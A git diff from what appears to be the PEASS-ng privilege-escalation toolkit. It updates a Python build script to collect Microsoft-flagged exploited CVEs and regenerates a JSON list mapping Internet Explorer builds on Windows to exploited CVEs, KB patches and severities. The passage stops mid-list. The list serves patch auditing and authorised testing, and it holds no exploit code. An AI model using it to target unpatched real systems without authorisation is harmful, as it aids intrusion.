load_bulletin_entries(*, timeout: int, retries: int) -> list[RawEntry]: try: from openpyxl import load_workbook @@ -421,10 +451,13 @@ def extract_msrc_entries_from_document(document: dict[str, Any]) -> list[RawEntr return entries -def load_msrc_entries(*, timeout: int, retries: int, max_workers: int) -> list[RawEntry]: +def load_msrc_entries( + *, timeout: int, retries: int, max_workers: int +) -> tuple[list[RawEntry], set[str]]: updates = fetch_msrc_update_catalog(timeout=timeout, retries=retries) documents = [update["CvrfUrl"] for update in updates if normalize_spaces(update.get("CvrfUrl"))] entries: list[RawEntry] = [] + exploited_cves: set[str] = set() logging.info("Downloading %d MSRC CVRF documents with up to %d workers", len(documents), max_workers) with ThreadPoolExecutor(max_workers=max_workers) as executor: @@ -438,6 +471,7 @@ def load_msrc_entries(*, timeout: int, retries: int, max_workers: int) -> list[R document = future.result() doc_entries = extract_msrc_entries_from_document(document) entries.extend(doc_entries) + exploited_cves.update(extract_msrc_exploited_ids_from_document(document)) completed += 1 if completed % 10 == 0 or completed == len(documents): logging.info( @@ -448,8 +482,12 @@ def load_msrc_entries(*, timeout: int, retries: int, max_workers: int) -> list[R ) logging.debug("MSRC document %s produced %d raw entries", url, len(doc_entries)) - logging.info("Collected %d raw MSRC entries", len(entries)) - return entries + logging.info( + "Collected %d raw MSRC entries and %d Microsoft-exploited CVEs", + len(entries), + len(exploited_cves), + ) + return entries, exploited_cves def extract_exploit_ids_from_feed(payload: bytes, *, year: int) -> set[str]: @@ -545,7 +583,9 @@ def build_definitions(entries: list[RawEntry], exploit_cves: set[str], generated if superseded: kb_supersedes[kb].add(superseded) - if not entry.cve or entry.cve not in exploit_cves: + # MSRC and NVD also contain advisory identifiers (e.g. ADV160008). + # The output schema's cve field accepts CVEs only. + if not CVE_PATTERN.fullmatch(entry.cve) or entry.cve not in exploit_cves: continue vuln_key = entry.cve or f"KB{kb}" @@ -619,7 +659,7 @@ def main() -> None: logging.info("Output path: %s", output_path) bulletin_entries = load_bulletin_entries(timeout=args.timeout, retries=args.retries) - msrc_entries = load_msrc_entries( + msrc_entries, msrc_exploited_cves = load_msrc_entries( timeout=args.timeout, retries=args.retries, max_workers=args.msrc_max_workers, @@ -631,9 +671,10 @@ def main() -> None: retries=args.retries, max_workers=args.nvd_max_workers, ) + exploit_cves.update(msrc_exploited_cves) logging.info( - "Building final JSON from %d bulletin entries, %d MSRC entries, and %d exploit-tagged CVEs", + "Building final JSON from %d bulletin entries, %d MSRC entries, and %d known/exploit-tagged CVEs", len(bulletin_entries), len(msrc_entries), len(exploit_cves), diff --git a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/build_lists/windows_version_exploits.json b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/build_lists/windows_version_exploits.json index c0b82ab4..4a2baae4 100644 --- a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/build_lists/windows_version_exploits.json +++ b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/build_lists/windows_version_exploits.json @@ -1 +1 @@ -{"generated":"20260604","products":{"Internet Explorer 10 on Windows Server 2012":[{"cve":"CVE-2016-0189","kb":"3154070","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2016-0199","kb":"3160005","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2016-3351","kb":"3185319","severity":"Low","impact":"Information Disclosure"},{"cve":"CVE-2017-0037","kb":"4012217","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2017-0059","kb":"4012217","severity":"Low","impact":"Information Disclosure"},{"cve":"CVE-2017-11793","kb":"4041690","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2017-11810","kb":"4041690","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2017-11855","kb":"4048959","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2017-11890","kb":"4054520","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2017-11903","kb":"4054520","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2017-11906","kb":"4054520","severity":"Low","impact":"Information Disclosure"},{"cve":"CVE-2017-11907","kb":"4054520","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2017-8618","kb":"4025331","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2017-8635","kb":"4034665","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2017-8636","kb":"4034665","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2018-0840","kb":"4074593","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2018-0891","kb":"4088877","severity":"Low","impact":"Information Disclosure"},{"cve":"CVE-2018-0935","kb":"4088877","severity":"Low","impact":"Remote Code Execution"},{"cve":"CVE-2018-8145","kb":"4103730","severity":"Low","impact":"Information Disclosure"},{"cve":"CVE-2018-8353","kb":"4343901","severity":"Low","impact":"Remote Code Execution"},{"cve":"CVE-2018-8552","kb":"4467701","severity":"Low","impact":"Remote Code Execution"},{"cve":"CVE-2018-8619","kb":"4471330","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8625","kb":"4471330","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8631","kb":"4471330","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2019-0541","kb":"4480975","severity":"Low","impact":"Remote Code Execution"},{"cve":"CVE-2019-0752","kb":"4493451","severity":"Low","impact":"Remote Code Execution"},{"cve":"CVE-2019-1429","kb":"4525246","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2020-0674","kb":"4537814","severity":"Moderate","impact":"Remote Code Execution"}],"Internet Explorer 11 on Windows 10 Version 1511 for 32-bit Systems":[{"cve":"CVE-2016-0189","kb":"3156421","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-0199","kb":"3163018","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-3351","kb":"3185614","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2016-7241","kb":"3198586","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0037","kb":"4013198","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0059","kb":"4013198","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-11793","kb":"4041689","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11810","kb":"4041689","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11855","kb":"4048952","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11890","kb":"4053578","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11903","kb":"4053578","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11906","kb":"4053578","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-11907","kb":"4053578","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8618","kb":"4025344","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8625","kb":"4034660","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2017-8635","kb":"4034660","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8636","kb":"4034660","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0840","kb":"4074591","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0891","kb":"4088779","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0935","kb":"4088779","severity":"Important","impact":"Remote Code Execution"}],"Internet Explorer 11 on Windows 10 Version 1511 for x64-based Systems":[{"cve":"CVE-2016-0189","kb":"3156421","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-0199","kb":"3163018","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-3351","kb":"3185614","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2016-7241","kb":"3198586","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0037","kb":"4013198","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0059","kb":"4013198","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-11793","kb":"4041689","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11810","kb":"4041689","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11855","kb":"4048952","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11890","kb":"4053578","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11903","kb":"4053578","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11906","kb":"4053578","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-11907","kb":"4053578","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8618","kb":"4025344","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8625","kb":"4034660","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2017-8635","kb":"4034660","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8636","kb":"4034660","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0840","kb":"4074591","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0891","kb":"4088779","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0935","kb":"4088779","severity":"Important","impact":"Remote Code Execution"}],"Internet Explorer 11 on Windows 10 Version 1607 for 32-bit Systems":[{"cve":"CVE-2016-3351","kb":"3189866","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2016-7241","kb":"3200970","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0037","kb":"4013429","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0059","kb":"4013429","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-11793","kb":"4041691","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11810","kb":"4041691","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11855","kb":"4048953","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11890","kb":"4053579","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11903","kb":"4053579","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11906","kb":"4053579","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-11907","kb":"4053579","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8618","kb":"4025339","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8625","kb":"4034658","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2017-8635","kb":"4034658","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8636","kb":"4034658","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0840","kb":"4074590","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0891","kb":"4088787","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0935","kb":"4088787","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8145","kb":"4103723","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-8288","kb":"4338814","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8291","kb":"4338814","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8353","kb":"4343887","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8355","kb":"4343887","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8552","kb":"4467691","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8619","kb":"4471321","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8625","kb":"4471321","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8631","kb":"4471321","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2019-0541","kb":"4480961","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2019-0752","kb":"4493470","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2019-1429","kb":"4525236","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-0674","kb":"4537764","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-26419","kb":"5003197","severity":"Critical","impact":"Remote Code Execution"}],"Internet Explorer 11 on Windows 10 Version 1607 for x64-based Systems":[{"cve":"CVE-2016-3351","kb":"3189866","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2016-7241","kb":"3200970","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0037","kb":"4013429","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0059","kb":"4013429","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-11793","kb":"4041691","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11810","kb":"4041691","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11855","kb":"4048953","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11890","kb":"4053579","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11903","kb":"4053579","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11906","kb":"4053579","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-11907","kb":"4053579","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8618","kb":"4025339","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8625","kb":"4034658","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2017-8635","kb":"4034658","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8636","kb":"4034658","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0840","kb":"4074590","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0891","kb":"4088787","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0935","kb":"4088787","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8145","kb":"4103723","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-8288","kb":"4338814","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8291","kb":"4338814","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8353","kb":"4343887","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8355","kb":"4343887","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8552","kb":"4467691","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8619","kb":"4471321","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8625","kb":"4471321","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8631","kb":"4471321","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2019-0541","kb":"4480961","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2019-0752","kb":"4493470","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2019-1429","kb":"4525236","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-0674","kb":"4537764","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-26419","kb":"5003197","severity":"Critical","impact":"Remote Code Execution"}],"Internet Explorer 11 on Windows 10 Version 1703 for 32-bit Systems":[{"cve":"CVE-2017-11793","kb":"4041676","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11810","kb":"4041676","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11855","kb":"4048954","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11890","kb":"4053580","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11903","kb":"4053580","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11906","kb":"4053580","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-11907","kb":"4053580","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8618","kb":"4025342","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8635","kb":"4034674","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8636","kb":"4034674","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0840","kb":"4074592","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0891","kb":"4088782","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0935","kb":"4088782","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8145","kb":"4103731","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-8288","kb":"4338826","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8291","kb":"4338826","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8353","kb":"4343885","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8355","kb":"4343885","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8552","kb":"4467696","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8619","kb":"4471327","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8625","kb":"4471327","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8631","kb":"4471327","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2019-0541","kb":"4480973","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2019-0752","kb":"4493474","severity":"Important","impact":"Remote Code Execution"}],"Internet Explorer 11 on Windows 10 Version 1703 for x64-based Systems":[{"cve":"CVE-2017-11793","kb":"4041676","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11810","kb":"4041676","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11855","kb":"4048954","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11890","kb":"4053580","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11903","kb":"4053580","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11906","kb":"4053580","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-11907","kb":"4053580","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8618","kb":"4025342","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8635","kb":"4034674","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8636","kb":"4034674","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0840","kb":"4074592","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0891","kb":"4088782","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0935","kb":"4088782","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8145","kb":"4103731","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-8288","kb":"4338826","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8291","kb":"4338826","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8353","kb":"4343885","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8355","kb":"4343885","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8552","kb":"4467696","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8619","kb":"4471327","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8625","kb":"4471327","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8631","kb":"4471327","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2019-0541","kb":"4480973","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2019-0752","kb":"4493474","severity":"Important","impact":"Remote Code Execution"}],"Internet Explorer 11 on Windows 10 Version 1709 for 32-bit Systems":[{"cve":"CVE-2017-11855","kb":"4048955","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11890","kb":"4054517","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11903","kb":"4054517","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11906","kb":"4054517","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-11907","kb":"4054517","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0840","kb":"4074588","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0891","kb":"4088776","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0935","kb":"4088776","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8145","kb":"4103727","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-8288","kb":"4338825","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8291","kb":"4338825","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8353","kb":"4343897","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8355","kb":"4343897","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8552","kb":"4467686","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8619","kb":"4471329","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8625","kb":"4471329","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8631","kb":"4471329","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2019-0541","kb":"4480978","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2019-0752","kb":"4493441","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2019-1429","kb":"4525241","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-0674","kb":"4537789","severity":"Critical","impact":"Remote Code Execution"}],"Internet Explorer 11 on Windows 10 Version 1709 for ARM64-based Systems":[{"cve":"CVE-2018-8552","kb":"4467686","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8625","kb":"4471329","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8631","kb":"4471329","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2019-0541","kb":"4480978","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2019-0752","kb":"4493441","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2019-1429","kb":"4525241","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-0674","kb":"4537789","severity":"Critical","impact":"Remote Code Execution"}],"Internet Explorer 11 on Windows 10 Version 1709 for x64-based Systems":[{"cve":"CVE-2017-11855","kb":"4048955","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11890","kb":"4054517","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11903","kb":"4054517","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11906","kb":"4054517","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-11907","kb":"4054517","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0840","kb":"4074588","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0891","kb":"4088776","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0935","kb":"4088776","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8145","kb":"4103727","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-8288","kb":"4338825","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8291","kb":"4338825","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8353","kb":"4343897","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8355","kb":"4343897","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8552","kb":"4467686","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8619","kb":"4471329","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8625","kb":"4471329","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8631","kb":"4471329","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2019-0541","kb":"4480978","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2019-0752","kb":"4493441","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2019-1429","kb":"4525241","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-0674","kb":"4537789","severity":"Critical","impact":"Remote Code Execution"}],"Internet Explorer 11 on Windows 10 Version 1803 for 32-bit Systems":[{"cve":"CVE-2018-8145","kb":"4103721","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-8288","kb":"4338819","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8291","kb":"4338819","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8353","kb":"4343909","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8355","kb":"4343909","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8552","kb":"4467702","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8619","kb":"4471324","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8625","kb":"4471324","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8631","kb":"4471324","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2019-0541","kb":"4480966","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2019-0752","kb":"4493464","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2019-1429","kb":"4525237","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-0674","kb":"4537762","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-26419","kb":"5003174","severity":"Critical","impact":"Remote Code Execution"}],"Internet Explorer 11 on Windows 10 Version 1803 for ARM64-based Systems":[{"cve":"CVE-2018-8552","kb":"4467702","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8625","kb":"4471324","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8631","kb":"4471324","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2019-0541","kb":"4480966","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2019-0752","kb":"4493464","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2019-1429","kb":"4525237","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-0674","kb":"4537762","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-26419","kb":"5003174","severity":"Critical","impact":"Remote Code Execution"}],"Internet Explorer 11 on Windows 10 Version 1803 for x64-based Systems":[{"cve":"CVE-2018-8145","kb":"4103721","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-8288","kb":"4338819","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8291","kb":"4338819","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8353","kb":"4343909","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8355","kb":"4343909","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8552","kb":"4467702","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8619","kb":"4471324","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8625","kb":"4471324","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8631","kb":"4471324","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2019-0541","kb":"4480966","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2019-0752","kb":"4493464","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2019-1429","kb":"4525237","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-0674","kb":"4537762","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-26419","kb":"5003174","severity":"Critical","impact":"Remote Code Execution"}],"Internet Explorer 11 on Windows 10 Version 1809 for 32-bit Systems":[{"cve":"CVE-2018-8552","kb":"4467708","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8619","kb":"4471332","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8625","kb":"4471332","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8631","kb":"4471332","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2019-0541","kb":"4480116","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2019-0752","kb":"4493509","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2019-1429","kb":"4523205","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-0674","kb":"4532691","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-26419","kb":"5003171","severity":"Critical","impact":"Remote Code Execution"}],"Internet Explorer 11 on Windows 10 Version 1809 for ARM64-based Systems":[{"cve":"CVE-2018-8552","kb":"4467708","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8619","kb":"4471332","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8625","kb":"4471332","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8631","kb":"4471332","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2019-0541","kb":"4480116","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2019-0752","kb":"4493509","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2019-1429","kb":"4523205","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-0674","kb":"4532691","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-26419","kb":"5003171","severity":"Critical","impact":"Remote Code Execution"}],"Internet Explorer 11 on Windows 10 Version 1809 for x64-based 